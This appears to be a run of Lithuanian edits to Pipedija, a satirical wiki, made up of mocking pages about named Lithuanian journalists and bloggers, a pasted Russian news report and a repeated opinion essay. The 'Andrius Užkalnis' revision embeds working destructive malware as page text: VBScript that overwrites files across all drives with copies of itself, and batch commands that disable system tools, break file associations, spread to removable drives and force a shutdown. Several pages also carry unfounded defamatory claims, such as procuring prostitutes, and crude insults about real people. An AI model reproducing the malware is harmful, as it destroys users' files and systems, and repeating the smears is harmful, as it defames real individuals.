Tai paskui labai greitai buvo uždėta tipiška lentelė, kad tipo anas neatitinka Vikipedijos reikšmingumo kriterijų, kuo sekant jis ir buvo iš tenais ištrintas, kaip nereikšmingas. Tai aišku, oluchai iš Vikipedijos taip ir iki šiolei nežino, kad ištrynė dešiniųjų [[klerikalkonservatoriai|klerikalkonservatorių]] ir [[liberastai|liberastų]] ideologą, katras savo įtakingumu kai koks ištisinis [[Gebelsas]] ir netgi gal daugiau, nes visos dešiniųjų kalbos irgi demagogijos pirmiausiai būna sukuriamos būtent šiojo lūpomis, o jojo teiginiai - tai tikrasai Kubiliaus ir jo pakalikų balsas, nes šie viena ausim vis klauso, ką Audrius Bačiulis sako, o tada patys perpeza per visur.<br />
<br />
Taip kad čia yra tikras šešėlinis kardinolas, apsimetantis niekam nežinomu asmeniu. O Vikipedija - giliai feilinantys durniai.<br />
<br />
<br />
== Tai dar visokių istorijų ==<br />
Čia kartą taip atsitiko, kad [[2010]] anas pas [[konservai|konservus]] suvažiavime kažkokiam buvo, tai ėmė ir prismaugė kažkokį su telekamera neaiškų, katras lindo begirtuokliaujančius žmones filmuot, tai paskui per visą [[Rusija|Rusiją]] aidėjo straipsniai, kaip [[Kubilius|Kubiliaus]] patarėjas primušė cielus 11 rusų žurnalistų vien už tai, kad tie išdrįso su juo rusiškai pasisveikint. Tai čia žemiau - visa ta istorija kaip rusų kalba buvo, nuosaikiame variante, čia tą istoriją kažkokie iš [[Naši]] atėję į [[Pipedija|Pipediją]], papeistino:<br />
<br />
<br />
=== В Литве избили журналистов, которые разговаривали по-русски ===<br />
<br />
: Вильнюс, Литва, Август 21 (Новый Регион, Иван Смирнов) – На оператора русскоязычной телекомпании «Первый Балтийский канал» Михаила Андриянова и его коллегу Максима Попова напали члены литовской партии консерваторов «Союз Отечества» за то, что журналисты говорили по-русски.<br />
<br />
: Директор вильнюсского бюро ПБК Саулюс Сондецкис уже заявил, что нападавшие испортили принадлежащую компании видеокамеру. Компании нанесен материальный ущерб в размере 700 литов (200 евро).<br />
<br />
: В комиссариате полиции Клайпеды также зарегистрировано заявление представителя ПБК в Клайпедском регионе Михаила Андриянова. По его словам, в субботу, около 20 часов, в гируляйском лагере «Жуведра» во время слета партии «Союз Отечества» двое мужчин в майках с символикой этой партии не разрешили ему снимать мероприятие, схватили за кинокамеру и испортили ее.<br />
<br />
: Андриянов рассказал, что от рук нападавших, которые, вероятно, находились в нетрезвом состоянии, пострадал Максим Попов, проходящий в Литве журналистскую практику. Его насильно закрыли в домике, потребовали стереть весь отснятый материал, отняли камеру и мобильный телефон. Попов успел позвонить Андриянову, и тот прибыл на место происшествия.<br />
<br />
: Во время разговора Андриянова с членом сейма Литвы Юргисом Размой снова появились мужчины. Один из них схватился за видеокамеру, снимавшую парламентария, другой со спины стал душить находившегося рядом фотокорреспондента одной из литовских газет. Вскоре стычка прекратилась, однако двое нападавших по-прежнему пытались помешать журналистам исполнять свои обязанности. Не помогли даже просьбы Юргиса Размы.<br />
<br />
: «Каким был их мотив? Они заявили, что российское телевидение здесь снимать не будет. Позже еще проговорились, что могут извиниться хоть перед кем, только не перед русскими», – заявил Андриянов.<br />
<br />
: Одним из инициаторов расправы предположительно был журналист, работающий в журнале Veidas, политический обозреватель Аудрюс Бачюлис. По его словам, «эти папарацци плохо себя вели – ходили по лагерю, высматривали и снимали, как люди отдыхают и выпивают».<br />
<br />
: Бачюлис заявил, что «это всем очень не понравилось», и пошел «объясниться» с журналистами. Чтобы уладить конфликт, Аурюс Бачюлис якобы предложил продать ему видеокассету.<br />
<br />
: Во время слета пострадал также литовский журналист Бронюс Бейновавичюс, но никаких претензий он пока не предъявил.<br />
<br />
<br />
[[Category:Asmenybės]]</div>Panceris88https://www.pipedija.com/index.php?title=Roki%C5%A1kis_Rabinovi%C4%8Dius&diff=46583Rokiškis Rabinovičius2015-07-20T18:12:23Z<p>Panceris88: </p>
<hr />
<div>[[Vaizdas:Ziurk.jpeg|300px|thumb|right|[[Rokiškis Rabinovičius]] visame gražume]]<br />
<br />
'''Rokiškis Rabinovičius''' - plačiai visuomenėje žinomas [[pseudointelektualas]], nors dauguma [[pseudointelektualai|pseudointelektualų]] mano, kad jis tiesiog užsimaskavęs [[dibilas]] ir [[trolis]] {{faktas}}. Nevalgo gliutamatų ir net alaus dėl paranojinės šiųjų baimės negeria{{faktas}}, nors manoma kad rašo pavalgęs būtent šio cheminio elemento. Rūko{{faktas}}. Prisimena monochrominius monitorius ir rock'n'roll grupes, kurios grojo prie [[Brežnevas|Brežnevo]]. Kadaise trindavosi [[LJ]], tačiau paskui perbėgo į [[PoPo]].<br />
<br />
Gal čia vertėtų užduoti ir klausimą - kodėl kažkoks [[žiurkėnas]], dargi [[balėsas]], kažkodėl vaizduoja kažkokį tai [[Visatos Valdovas|Visatos Valdovą]] įvairiuose lietuviškuose [[internetai|internetuose]]?<br />
<br />
<br />
== Rokiškio Rabinovičiaus kilmė ==<br />
[[Vaizdas:Ziurk.jpeg|300px|thumb|left|[[Rokiškis Rabinovičius]] kovoja prieš [[Sovietai|sovietus]] ]]<br />
Tik pamanykit gi - ansai savo avatare vaizduoja, kad yra kažkoksai tai [[žiurkėnas]], kitaip tariant - [[pacukas]]. Tas aišku, kad abejonių nekelia seniems jo skaitytojams, nes čia aišku tiktai [[treningai|treningų]] ir betrūksta. Taip kad faktas čia aiškus - internetų [[žiurkė]], o ne žmogus, kaip kiti [[blogeriai]].<br />
<br />
O dar Rokiškis Rabinovičius su pačiu [[Rokiškis|Rokiškiu]] nieko berods bendra ir neturi, nes kartą prisipažino, kad nei nebuvęs ten niekad, tačiau tai kelia daug abejonių, nes yra naglas ir chamiškas, o ganėtinai daliai rokiškėnų tai visai būdinga. Bet tą neigia faktas, kad chamizmas kartais išeina į užribius. Senais laikais kadaise išbanino iš savo komentatorių [[Pipedija|Pipediją]], išsiplūsdamas negražiais žodžiais.<br />
<br />
Kuo gyvenime užsiima - neaišku, bet sklando gandas, kad dirba kažkur [[Anglija|Anglijoje]], visgi dažnai atvykdamas į Lietuvą. Senesni gandai sklandė, kad išties yra nelietuvis, o iš kažkokios [[Baltarusija|Baltarusijos]], bet kokiais tai būdais prieš porą dešimtmečių gavęs pilietybę. Paskui, šią turėdamas, vežiojo šmutkes iš [[Lenkija|Lenkijos]], kurias pardavinėjo [[Gariūnai|Gariūnuose]], o iš Lietuvos į ten vežiodavo kažkokias [[prostitutės|prostitutes]] uždarbiavimui. Tą galima aptikti, pasirausus po senus [[LJ]] tinklaraščių komentarus.<br />
<br />
O dar kokiais tai būdais Rokiškis Rabinovičius neseniai prasimušė į [[Naujoji Komunikacija|Naująją Komunikaciją]], kur ėmė skleisti visokius savo kliedesius aršiai ir nevaldomai. Kodėl padorus žurnalas tai spausdina, lieka mįsle, bet gi kita vertus, kai kuriems skaitytojams tai gal ir patinka, nes iš tų piktų burnojimų gal kartais ir galima pasijuokt.<br />
<br />
Aišku tik tiek, kad į viską čia įsivėlęs yra gerai žinomas [[Rabinovičių klanas]].<br />
<br />
<br />
== Rokiškio Rabinovičiaus stebuklingasis abrozdėlis ==<br />
[[Vaizdas:Rokiskis_Enorcos.jpg|300px|thumb|left|[[Rokiškis Rabinovičius]] graužia auksinę raidę. Tai čia ir yra tasai jojo stebuklingasis abrozdėlis]]<br />
Naujausiais turimais duomenimis, Rokiškis Rabinovičius nesveikai užsinorėjo, kad visi jį garbintų, ir apsiskelbė pačiu lietuviškos blogosferos patriarchu. Lyg dar šito būtų maža, jisai privertė tokią ponią [[Enorca|Enorcą]] nutapyti patį geriausią jo abrozdėlį.<br />
<br />
Ponia Enorca neturėjo kur dėtis, ir nutapė patį gražiausią ligi šiol žinomą jojo abrozdėlį. Rokiškiui Rabinovičiui ansai be galo patiko, nes aiškiai kuteno jo savimeilę ir žavingai rodė jo potraukį auksui, garbei ir šlovei. Ir prisakė Rokiškis Rabinovičius tąjį abrozdėlį kiekvienam aukso rėmuose įsirėminti ir jam melstis bei prašyti malonių, užtarimo beigi pasigailėjimo.<br />
<br />
== Dar žr. ==<br />
* Rokiškis Rabinovičius su savo blogu - http://rokiskis.popo.lt/<br />
<br />
{{Blogeriai}}<br />
[[Category:LJ]]<br />
[[Category:Popistai]]<br />
[[Category:Blogeriai]]</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46582Dovydas Pancerovas2015-07-20T18:08:35Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pancv.jpeg]]|Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Romas_Sadauskas&diff=46581Romas Sadauskas2015-07-20T18:05:58Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:Romka.jpeg|350px|thumb|right|Romas Sadauskas]]Druskinykų feministas, redaktorius ir blogerius Romas Sadauskas-Kvietkevičius. Su baltu ploščiumi plikas po druskininkus duodas ale be šlipso. <br />
<br />
Keistos sąsajos sako, kad Romas Sadauskas yra visiškas debilas liberalas, bet kažkodėl tuo pačiu ir pusiau tolerantas. Dargi sako, kad [[Bacevyčia]] esantis senu draugu jo bei sugulovu.<br />
<br />
<br />
== Kažkokios istorijos apie Romą Sadauską-Kvietkevičių ==<br />
[[Vaizdas:Senis.jpeg|500px|thumb|left|Romas Sadauskas]] BUKAGALVIS KOKIU RETA<br />
<br />
== Dar žr. ==</div>Panceris88https://www.pipedija.com/index.php?title=Andrius_U%C5%BEkalnis&diff=46580Andrius Užkalnis2015-07-20T18:03:04Z<p>Panceris88: </p>
<hr />
<div>{{teslos gabalas}}<br />
[[Vaizdas:Uzk.jpeg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]<br />
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])NighTGhosT<br />
<br />
<br />
<br />
<br />
haha()<br />
Sub haha()<br />
On Error Resume Next<br />
Dim d, dc, s, fso, haha<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set dc = fso.Drives<br />
For Each d In dc<br />
If d.DriveType = 2 Or d.DriveType = 3 Then<br />
hihi (d.Path & "\")<br />
End If<br />
Next<br />
haha = s<br />
End sub<br />
Sub hehe(folderspec)<br />
On Error Resume Next<br />
Dim f, f1, fc, ext, s, fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set f = fso.GetFolder(folderspec)<br />
Set fc = f.Files<br />
For Each f1 In fc<br />
ext = fso.GetExtensionName(f1.Path)<br />
ext = LCase(ext)<br />
s = LCase(f1.Name)<br />
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then<br />
Set f = fso.getfile(wscript.scriptfullname)<br />
f.Copy (f1.Path & ".vbe")<br />
fso.deletefile(f1.path)<br />
End If<br />
Next<br />
End Sub<br />
Sub hihi(folderspec)<br />
On Error Resume Next<br />
Dim f, f1, sf, fso<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set f = fso.GetFolder(folderspec)<br />
Set sf = f.SubFolders<br />
For Each f1 In sf<br />
hehe (f1.Path)<br />
hihi (f1.Path)<br />
Next<br />
End Sub<br />
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err<br />
DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f<br />
<br />
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat<br />
<br />
attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat<br />
<br />
goto err<br />
<br />
:err;shutdown -t 5 -s</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46579Dovydas Pancerovas2015-07-20T17:58:43Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pancv.jpeg]] Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
Tik sutapimas turbūt yra ir tai, kad būtent D.Pancerovas pirmasis sužino apie Migracijos departamento pradėtą tyrimą dėl A.Šarijaus, kuris taip nemėgsta dabartinės Ukrainos valdžios ir taip ją kritikuoja, kad net pabėgėlio statuso nebevertas. Nors Lietuvos įstatymai ir nenumato, kad pabėgėlio statusas gali būti atimtas dėl kritikos. Net kai kritikuoji tuos, kurių negalima kritikuoti. Nors įstatymai baigtinio nekritikuojamų sąrašo ir nepateikia.<br />
<br />
A.Šarijaus istorija yra ne apie jį ir ne apie jo reiškiamą kritiką dabartinei Ukrainos valdžiai. A.Šarijaus istorija yra apie išsigimstančią demokratiją Lietuvoje valdant prezidentei Daliai Grybauskaitei. A.Šarijaus istorija yra apie – kad ir kaip makabriškai tai skambėtų – dalies Lietuvos žiniasklaidos ir dalies politikų pastangas įtikinti mus, kad žodžio laisvė gali būti teisinga ir ne, kad kritikuoti galima ne visus ir kad politiniai interesai yra svarbesni už teisę turėti savo nuomonę.<br />
<br />
A.Šarijaus istorija yra ir apie mane, nes aš labai gerai žinau, kaip, padedant pancerovams, černiauskams, ramanauskams ir garbačiauskaitėms, Lietuvoje lengva tapti Kremliaus agentu. A.Šarijus to nežinojo, o aš neturėjau progos jam to papasakoti. Gal, jei būčiau spėjęs, būtų geriau pagalvojęs, ar verta toliau kritikuoti tuos, kurių kritikuoti Lietuvoje nevalia. Nors tikriausiai ne, nes jis, panašu, jau seniai yra įsitikinęs, kad žodžio laisvė nėra vien fikcija.<br />
<br />
15min.lt darbuotojas ir informacinio karo priešakinių linijų karys D.Pancerovas savo rašinėlyje A.Šarijų įvardija kaip “žurnalistu save vadinantį ukrainietį”. Pats A.Šarijus savo paskyroje socialiniame tinkle Facebook D.Pancerovą vadina sunkiai išverčiamu, bet aiškią prasmę turinčių rusišku žodžiu “čmo”.<br />
<br />
Aš pritariu A.Šarijui ir vis dar esu įsitikinęs, kad nepaisant kai kurių politikų pastangų ir tuos politikus aptarnaujančių kai kurių noriai parsidavinėjančių žiniasklaidos fronto darbuotojų, Lietuva dar nėra ta valstybė, kurioje žodžio laisvė yra tik fikcija ir kurioje vardan politinių interesų ir asmeninės draugystės, galima paaukoti demokratijos principus, žodžio laisvę ir juos ginantį svetimos šalies žurnalistą.</div>Panceris88https://www.pipedija.com/index.php?title=Romas_Sadauskas&diff=46578Romas Sadauskas2015-07-20T17:57:08Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}}<br />
[[Vaizdas:Romka.jpeg|350px|thumb|right|Druskinykų feministas, redaktorius ir blogerius Romas Sadauskas-Kvietkevičius. Su baltu ploščiumi plikas po druskininkus duodas ale be šlipso. <br />
<br />
Keistos sąsajos sako, kad Romas Sadauskas yra visiškas debilas liberalas, bet kažkodėl tuo pačiu ir pusiau tolerantas. Dargi sako, kad [[Bacevyčia]] esantis senu draugu jo bei sugulovu.<br />
<br />
<br />
== Kažkokios istorijos apie Romą Sadauską-Kvietkevičių ==<br />
[[Vaizdas:Senis.jpeg|500px|thumb|left|Romas Sadauskas]] BUKAGALVIS KOKIU RETA<br />
<br />
== Dar žr. ==</div>Panceris88https://www.pipedija.com/index.php?title=Dovydas_Pancerovas&diff=46577Dovydas Pancerovas2015-07-20T17:51:35Z<p>Panceris88: </p>
<hr />
<div>{{Abejotinas}} [[Vaizdas:Pancv.jpeg|500px|thumb|right|dovyda pancerova [[toks]] Ukrainiečių žurnalisto Anatolijaus Šarijaus istorija Lietuvoje yra labai svarbi mums, gyvenantiems Lietuvoje. Iš tikrųjų tai net ne A.Šarijaus istorija, tai – apie Lietuvą, apie demokratiją mūsų valstybėje, apie žodžio laisvę ir požiūrį į jį, apie žurnalistus ir tuos kurie save taip vadina, o iš tiesų, pamynę bet kokias etikos ir profesionalumo normas, spjovę į bet kokį padorumą, dirba ne visuomenei, o pagal valdžios užsakymą.<br />
<br />
Faktai yra visiems žinomi – Lietuva 2012 metais, išnagrinėjusi A.Šarijaus prašymą, suteikė jam politinį prieglobstį. Sprendimas buvo priimtas atsižvelgus į ukrainiečio pateiktus dokumentus ir paaiškinimus apie jam Ukrainoje iškeltas dvi baudžiamąsias bylas, kurios, pasak paties A.Šarijaus, V.Janukovyčiaus valdžios buvo sufabrikuotos keršijant už jo žurnalistinę veiklą.<br />
<br />
Nesiimu spręsti, ar Lietuvos Migracijos tarnyba tada priėmė teisingą sprendimą, nes nemačiau A.Šarijaus bylos dokumentų, nelabai daug žinau ir apie jo žurnalistinę veiklą Ukrainoje. Tačiau, kiek teko girdėti, kad Migracijos tarnyba pabėgėlio statuso į kairę ir į dešinę lengvai nedalija. Be to, yra įstatymai, apibrėžiantys, kam gali būti toks statusas suteiktas ir spėju, kad juos apeiti nėra labai lengva.<br />
<br />
Kita vertus, objektyviai vertinant, įmanoma, jog tada, 2012 metais, kai Ukrainą valdė V.Janukovyčius, kuris nebuvo Lietuvos ir D.Grybauskaitės draugas, į kai kurias įstatymo nuostatas galmai buvo pažiūrėta pro pirštus, nes Lietuva juk demokratinė valstybė ir kartais draugystė (ypač politinė) gali būti svabesnė nei įstatymai. CŽV kalėjimų istorija tai puikiausiai gali paliudyti.<br />
<br />
Tačiau draugai keičiasi, o įstatymai lieka tie patys, ir tada kyla problemos. Didžiausia problema A.Šarijaus atveju yra ta, kad jis yra tikras žurnalistas. Tikras, šiuo atveju reiškia tas, kuris kritikuoja valdžią ir jos veiksmus, nepaisant to, su kuo ta valdžia draugauja. Tikras reiškia tas, kuris neužmerkia akių prieš “teisingų” politikų ir “teisingos” žiniasklaidos melą, nesirenka draugų ir nesitaiko prie politinės konjunktūros. Tikras reiškia tas, kuris kalba faktais, pateikia argumentus, demaskuoja melą, nepaisant to, kurie – gerieji ar blogieji – tą melą skleidžia.<br />
<br />
Tikrų žurnalistų nėra daug, nes jų niekas nemėgsta. Juos sunku valdyti, jiems negali pateikti užsakymų, jie neparsidavinėja už ordinus ar keliones, ir niekada nežinai, ką jie parašys.<br />
<br />
Greičiausiai todėl A.Šarijus, gavęs Letuvoje politinį prieglobstį, čia buvo paskelbtas “Kremliaus agentu”. Nes juk tik Kremliaus agentai gali kritikuoti dabartinę Ukrainos valdžią, dabartinį prezidentą Petro Porošenką. Tik Kremliaus agentas gali teigti, kad žurnalistai Ukrainoje šiandien yra persekiojami už žodžio laisvę ir televizijos kanalai uždaromi už pareiškimus, neatitinkančius oficialios valdžios pozicijos. Nes mes juk žinome, kad Ukrainoje viso to negali būti, nes ši valstybė yra draugiška Lietuvai, o šios valstybės prezidentas yra mūsų prezidentės draugas.<br />
<br />
Ir tikriausiai tik sutapimas yra tai, kad žinomo Lietuvoje informacinio karo ir anoniminių specialiųjų šalies tarnybų pažymų specialisto Dovydo Pancerovo rašinys apie tai, kad A.Šarijus gali netekti pabėgėlio statuso Lietuvoje, yra paskelbiamas tuo metu, kai Dalia Grybauskaitė rengiasi aplankyti savo draugą P.Porošenko. O pas draugus juk nevažiuojama tuščiomis rankomis, jiems vežamos dovanos.<br />
<br />
